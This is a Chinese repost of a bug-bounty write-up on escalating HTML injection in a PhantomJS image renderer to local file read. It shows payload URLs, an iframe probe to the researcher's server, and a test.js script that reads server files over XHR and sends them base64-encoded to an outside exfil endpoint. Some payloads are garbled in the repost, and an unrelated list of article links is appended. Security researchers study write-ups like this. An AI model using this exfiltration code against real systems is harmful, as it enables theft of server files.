这篇文章实在是太好了,我看了好几篇,所以极力推荐给大家

原文地址  
http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
译文地址
https://xianzhi.aliyun.com/forum/read/1808.html
转载至
http://paper.seebug.org/344/
在一次赏金程序中,我碰见这么一个请求,用户输入然后生成图片供下载。过了一会儿,我便把图片内部的XSS升级成服务端的任意文件读取漏洞。因为程序的隐私性,所以我将尽力抹掉敏感信息。原始请求如下:

[AppleScript]纯文本查看复制代码
?
1
https://website/download?background=file.jpg&author=Brett&header=Test&text=&width=500&height=500

最开始我执着于background 参数,因为 background 的值是文件名,我认为这个参数看上去是最有意思的。接着在对参数进行了混淆后,我发现 header 参数存在 HTML 注入。因为之前阅读过 pdf 中 xss 引起严重漏洞的笔记,所以我决定在这一点上进行深入。
请求:
[AppleScript]纯文本查看复制代码
?
1
https://website/download?background=file.jpg&author=Brett&header="><u>test&text=&width=500&height=500

返回:
接着我尝试了任意HTML 元素,结果非常有意思:基本上所有的 html 元素(iframe、img、script等)都被浏览器解析了。为了获取更多关于是什么在处理 html 的信息,我决定用自己的服务器作为 ssrf 目标。
[AppleScript]纯文本查看复制代码
?
1
https://website/download?background=file.jpg&author=Brett&header=<iframe src=https://xss.buer.haus/ssrftest></iframe>&text=&width=500&height=500

我自己的服务器端日志记录如下:
[AppleScript]纯文本查看复制代码
?
1
[25/Jun/2017:20:31:49 -0400] "GET /ssrftest HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

从上面的记录可知,请求字段中的UA 字段表明了 HTML 页面的加载和图像的生成是由无 UA 头浏览器客户端 PhantomJS 来完成的。在 Phantom 方面,我是颇有经验的,因为 CTF 比赛中经常能碰到,同时我在自己的网络扫描器使用 Phantom 完成网站截图功能。知道了是 PhantomJS 处理 HTML ,这对于漏洞利用来说这是个好消息,因为这解释了我之前尝试利用漏洞时遇到的一些问题。
我遇到的第一个问题是基本的payload 总是不能执行。比如说 <script>不能正常执行、<img src=x οnerrοr=>不会触发。我记得在100次重定向的尝试中就成功了一次。有些情况下,payload 根本不执行。除此之外,在尝试重定向到其他页面时还遇到一些服务器异常的情况。
[AppleScript]纯文本查看复制代码
?
1
https://website/download?background=file.jpg&author=Brett&header=<img src="x" />&text=&width=500&height=500

响应:

[AppleScript]纯文本查看复制代码
?
1
{"message": "Internal server error"}.

我尝试了大概50种不同类型的 payload 才意识到真正的问题是 PhantomJS 存在某种条件竞争。在给我自己的扫描器编写插件时,我遇到过类似的问题。那是在尝试捕捉截图时,Phantom 不会等 JavaScript 完全加载后才渲染图片。
所以我必须想个办法在图片渲染前延缓Phantom 以完成我 js 代码的加载。在尝试了几个想法后,我使用了 document.write覆盖了图片内容,同时这个函数似乎解决了上面的问题。但是我不知道原理,只知道它起作用了
[AppleScript]纯文本查看复制代码
?
1
https://website/download?background=file.jpg&author=Brett&header=<img src="x" />&text=&width=500&height=500

这时,只要页面加载,存储型JavaScript 就能执行。接下来我需要收集更多关于 PhantomJS 和代码执行上下文环境的信息。
[AppleScript]纯文本查看复制代码
?
1
https://website/download?background=file.jpg&author=Brett&header=<img src="x" />&text=&width=500&height=500

响应:
上图的结果非常有意思,我们可以知道代码是从file://执行的,同时得知这是/var/task目录下的一个html文件。这时我想通过<iframe>引入文件来检测是否同源。

[AppleScript]纯文本查看复制代码
?
1
https://website/download?background=file.jpg&author=Brett&header=<img src="xasdasdasd"/>&text=&width=500&height=500

现在可以得出结论了,至少/var/task下的任意文件可以被读取,接下来我想看看能否读取其他目录下的文件(比如/etc/目录)
[AppleScript]纯文本查看复制代码
?
1
&header=<img src="xasdasdasd"/>

很尴尬,请求没有返回
于是我对/var/tasks目录进行了搜索以便获取更多信息,最后发现这可能和AWS Lambda 有关。这个发现让我将注意力放在了同目录下的某些文件上(比如/var/task/index.js),这些文件应该包含了Phantom 插件的源码。所以我认为在/var/下我能访问的文件内容可能会提供更多信息,至少会有一些值得报告的信息。
理论上使用XHR 和 Ajax 应该能够读取文件内容并在图片中展示或者将内容提取到我的服务器上。但直接通过document.write写入js 代码发生了问题,最终我发现可以通过外部脚本来绕过这个问题。
Payload:

[AppleScript]纯文本查看复制代码
?
1
&header=<img src="xasdasdasd"https://xss.buer.haus/test.js"></script>')"/>

test.js
[AppleScript]纯文本查看复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
function reqListener () { 
    var encoded = encodeURI(this.responseText);
    var b64 = btoa(this.responseText);
    var raw = this.responseText;
    document.write('<iframe src="https://xss.buer.haus/exfil?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest()
oReq.addEventListener("load", reqListener)
oReq.open("GET", "file:///var/task/[redacted].html")
oReq.send()

不披露些敏感数据是无法展示战果的,下面这张图仅是你在访问日志里看到的数据。
现在在file://环境下,可以通过带外JavaScript 和 XHR 来读取任意文件来。所以我用脚本再次读取/etc/passwd去检测iframe是否生效。
啊哈哈!当PhantomJS由于某种原因加载<iframe src="file://">时,XHR完全可以访问file://的上下文环境(也就是访问任意文件)。在经历这些后,会发现XSS在最初似乎一点价值都没,但是从XSSLFI却费了很多力气。这是一次非常奇怪的赏金之旅,感觉就像在CTF中找flag而不是试图利用生产服务器。这次我最大的收获是投入到这场伪CTF挑战赛的那些周末实际上都是值得的。

转载于:https://www.cnblogs.com/ichunqiu/p/7204089.html

骚年,看我如何把 PhantomJS 图片的 XSS 升级成 SSRF/LFR相关推荐

  1. rpgmvp图片怎么看_拼多多商城图片和视频下载不了怎么办,看这里。。。。

    最近拼多多商城规则变动,很多软件都不能下载拼多多商城图片和视频.小编今天试了一种新的方法可以同时下载商城里的图片和视频.现在一起来看看是如何操作的吧. 准备软件:下图高手高级版软件 实例操作步骤 1. ...

  2. base64格式的图片数据如何转成图片

    base64格式的图片数据如何转成图片 一.总结 一句话总结:不仅要去掉前面的格式串,还需要base64_decode()解码才行. 1 // $base_img是获取到前端传递的值 2 $base_ ...

  3. 小程序源码:修复图片音频全新升级带特效喝酒神器小游戏微信小程序

    这是一款全新升级带特效喝酒神器小游戏微信小程序源码 小编发现很多喝酒神器小程序都不带特效和音效的 感觉差了那么一点意思而且感觉也不炫酷 所以小编今天给大家带来一款带特效,音效炫酷的喝酒神器 该款神器由 ...

  4. 图片如何进行格式转换?图片格式怎么改成jpg?

    图片格式可以分为很多种,但最常用的图片格式以jpg为主.怎样进行图片转格式操作,将图片格式转换jpg?选择压缩图图片在线转换器,一键轻松将图片在线格式转换. 1.上传图片. 2.点击选择jpg格式,在 ...

  5. 计算机打开查看方式默认是什么样,如何更改win10系统电脑图片的查看方式 怎么将电脑图片查看方式改成缩略图...

    如何更改win10系统电脑图片的查看方式 怎么将电脑图片查看方式改成缩略图 腾讯视频/爱奇艺/优酷/外卖 充值4折起 今天,小编给大家介绍更改win10系统电脑图片查看方式的方法,希望对大家有所帮助. ...

  6. 图片png怎么转成pdf格式?

    图片png怎么转成pdf格式?相信很多上班的小伙伴们都会遇到类似的问题,需要将公司的图片宣传册等资料发送给客户,但是公司宣传册本身是一页一页的图片文件,如果这样发送了就显得很不专业或者说比较杂乱!所以 ...

  7. 微信小程序:修复图片音频全新升级带特效喝酒神器源码

    这是一款全新升级带特效喝酒神器小游戏微信小程序源码 小编发现很多喝酒神器小程序都不带特效和音效的 感觉差了那么一点意思而且感觉也不炫酷 所以小编今天给大家带来一款带特效,音效炫酷的喝酒神器 该款神器由 ...

  8. 小程序源码:修复图片音频全新升级带特效喝酒神器小游戏-多玩法安装简单

    这是一款全新升级带特效喝酒神器小游戏微信小程序源码 小编发现很多喝酒神器小程序都不带特效和音效的 感觉差了那么一点意思而且感觉也不炫酷 所以小编今天给大家带来一款带特效,音效炫酷的喝酒神器 该款神器由 ...

  9. 图片文字怎么转换成文本?可以试试这三种途径

    上午收到同事发来的项目介绍,好家伙大几千字的内容全在一张长图上.其中仍有要修改的地方,看来只能先把图片文字转换成文本,再进行编辑了.有没有更快更准确的转换方法呢?这就来给各位说几种高效转换途径,如果你 ...

最新文章

  1. LabVIEW设置应用程序显示标签透明
  2. git-【五】远程仓库
  3. 数字图像处理基本概念
  4. java web 邮箱激活 与 忘记密码(重置密码)
  5. WinSCP无法连接linux,而secureCRT却可以
  6. 主席树 POJ2104
  7. 问道手游服务器维护,问道手游2021年5月20日维护公告_问道手游2021年5月20日更新了什么_玩游戏网...
  8. 将指定目录中的txt文件转化成excel文件
  9. 软件项目管理 2.1.项目立项
  10. socket(java) 搭建一个多人在线聊天室
  11. 光纤接头截面工艺分类
  12. 小程序推荐——那些好用实用的小程序(图片类、资讯类、工具类)
  13. css规则定义的分类,CSS规则定义英汉对照表
  14. Arxiv | 预测新型蛋白质间相互作用的图神经网络模型
  15. python 12306登录_Python 12306登陆详细分析及操作
  16. 她让我把电脑带回家。 -您是如何开始计算机和编程的?
  17. iOS推送证书显示“此证书不受信任”
  18. MySQL DQL分组查询、条件查询、子查询
  19. 计算几何基础【用图来助你理解几何算法】
  20. C语言变长数组(柔性数组)

热门文章

  1. 主流配置中心的比较 Spring Cloud Config、Apollo、Nacos
  2. python if函数两个并列条件怎么用,Python 并列和或者条件的使用说明
  3. [Power Query] 分组依据
  4. 【转】这是一篇很完整的元器件选型指南
  5. 【MySQL】黑马教程MySQL数据库 MySQL基础(一)
  6. USB描述符(附加USB HID报告描述符 )
  7. 心心念念想打游戏,游戏 套路有哪些?怎么做留存?
  8. 计算机三级信息安全知识点
  9. VS code 下载加速 中文设置 中英文切换 中文注释乱码
  10. 2022卡塔尔世界杯:跨境卖家如何用YouTube进行营销?